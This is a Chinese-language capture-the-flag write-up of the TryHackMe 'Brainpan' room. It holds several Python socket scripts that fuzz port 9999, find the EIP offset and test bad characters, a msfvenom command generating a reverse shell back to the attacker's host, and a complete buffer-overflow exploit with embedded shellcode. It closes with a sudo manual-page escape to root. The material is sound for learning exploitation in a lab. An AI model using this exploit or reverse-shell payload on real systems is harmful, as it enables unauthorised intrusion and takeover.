端口扫描

sudo nmap --min-rate 10000 -p- 10.10.241.235 -A
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-29 14:48 UTC
Nmap scan report for brainpan.thm (10.10.241.235)
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3

用nc连接9999端口让我们输入一个密码,大概率是由缓冲区溢出的,10000端口开了一个web服务器,访问

扫描一下目录,发现有一个/bin目录,里面有一个brainpan.exe

BufferFlowExp

下载下来,在windows中的immunity debugger运行

import socket

exp=''
exp=exp.encode()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.233.1',9999))

try:
data=s.recv(1024)
print(data.decode()+'\n')
except socket.error as err:
print(err)

s.send(exp)

try:
data=s.recv(1024)
print(data.decode()+'\n')
except socket.error as err:
print(err)
s.close()

写一个socket连接来发送信息,随便输入一点会显示ACCESS DENIED,相应的在windows的终端中也会收到信息

import socket
import time
import sys
size=100
while True:
try:
print('\n Send %s bytes'%size)
buffer = 'A' * size
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.0.159', 9999))
try:
data = s.recv(1024)
print(data.decode() + '\n')
except socket.error as err:
print(err)
s.send(buffer.encode())
s.close()
size +=100
time.sleep(2)
except:
print("connection close")
sys.exit()

可以先测试一下大概能够接收多少字节

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600

创建600个测试字符

import socket

exp='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9'
exp=exp.encode()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.233.1',9999))

try:
data=s.recv(1024)
print(data.decode()+'\n')
except socket.error as err:
print(err)

s.send(exp)

try:
data=s.recv(1024)
print(data.decode()+'\n')
except socket.error as err:
print(err)
s.close()

发送这六百个字符,发现进程在接收600个字符停止了

在ID(immunity debugger)中查看eip的值现在是35724134,

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x35724134

得到偏移量是524

import socket
exp='A'*524+'B'*4
exp=exp.encode()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.233.1',9999))

try:
data=s.recv(1024)
print(data.decode()+'\n')
except socket.error as err:
print(err)

s.send(exp)

try:
data=s.recv(1024)
print(data.decode()+'\n')
except socket.error as err:
print(err)
s.close()



加上四个字节来覆盖eip

接下来我们需要寻找这个程序中的坏字节(防止写入esp的shellcode因为坏字节而执行不了)

import socket
badchars='\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
exp='A'*524+'B'*4+badchars
exp=exp.encode()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.233.1',9999))

try:
data=s.recv(1024)
print(data.decode()+'\n')
except socket.error as err:
print(err)

s.send(exp)

try:
data=s.recv(1024)
print(data.decode()+'\n')
except socket.error as err:
print(err)
s.close()

ID中右键EDX的Follow in Dump,找到我们开始发送的坏字节,经检查应该是只有一个\x00一个坏字节(这里其实应该计算并改变前面的buffer,因为坏字节一共有256个,所以应该是520-256个buffer,不过我太懒了没算)

接下来我们需要找到jmp esp这个汇编代码的地址(因为程序运行的过程中esp的地址我们是不确定的,需要一个汇编代码来跳转到esp)

在ID最下方输入

!mona jmp -r esp -m brainpan.exe

来找到这个程序中出现这个代码的地址(mona.py需要自行去github下载放入插件的文件夹)

得到是0x311712F3,记得是小端序存储,所以后面要反写

msfvenom -p linux/x86/shell_reverse_tcp lhost=10.11.38.245 lport=1234 -f python -b '\x00' >poc.py

生成一个python的反弹shell

import socket
jmp_esp=b'\xF3\x12\x17\x31'
some_junk=b'\x90'*16
buf = b""
buf += b"\xbf\xa8\x5d\x19\x8d\xd9\xc9\xd9\x74\x24\xf4\x5a"
buf += b"\x2b\xc9\xb1\x12\x31\x7a\x12\x03\x7a\x12\x83\x6a"
buf += b"\x59\xfb\x78\x5b\xb9\x0c\x61\xc8\x7e\xa0\x0c\xec"
buf += b"\x09\xa7\x61\x96\xc4\xa8\x11\x0f\x67\x97\xd8\x2f"
buf += b"\xce\x91\x1b\x47\xdb\x6a\xfa\x62\xb3\x6e\x02\x88"
buf += b"\x96\xe6\xe3\x20\x70\xa9\xb2\x13\xce\x4a\xbc\x72"
buf += b"\xfd\xcd\xec\x1c\x90\xe2\x63\xb4\x04\xd2\xac\x26"
buf += b"\xbc\xa5\x50\xf4\x6d\x3f\x77\x48\x9a\xf2\xf8"
exp=b'A'*524+jmp_esp+some_junk+buf
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.10.0.159',9999))

try:
data=s.recv(1024)
print(data.decode()+'\n')
except socket.error as err:
print(err)

s.send(exp)

try:
data=s.recv(1024)
print(data.decode()+'\n')
except socket.error as err:
print(err)
s.close()

开启监听,运行exp,接收到了反弹shell

提权

python3 -c "import pty;pty.spawn('/bin/bash')"

提升下交互性

sudo -l

发现可以运行

/home/anansi/bin/anansi_util,并且可以运行manual,

sudo /home/anansi/bin/anansi_util manual whoami

然后输入!/bin/bash

提权成功!!!

碎碎念

前段时间也算是在HTB小学了一些汇编和缓冲区溢出利用,打一个比较模板化的房间练一下手。有些步骤写的其实没有那么规范完整,比如说esp那里的空间实际上需要计算一下是否能够放入shellcode比较稳妥。

此外附上一位大佬的讲解视频,非常详细完整!

https://www.bilibili.com/video/BV1dY4y127Ld/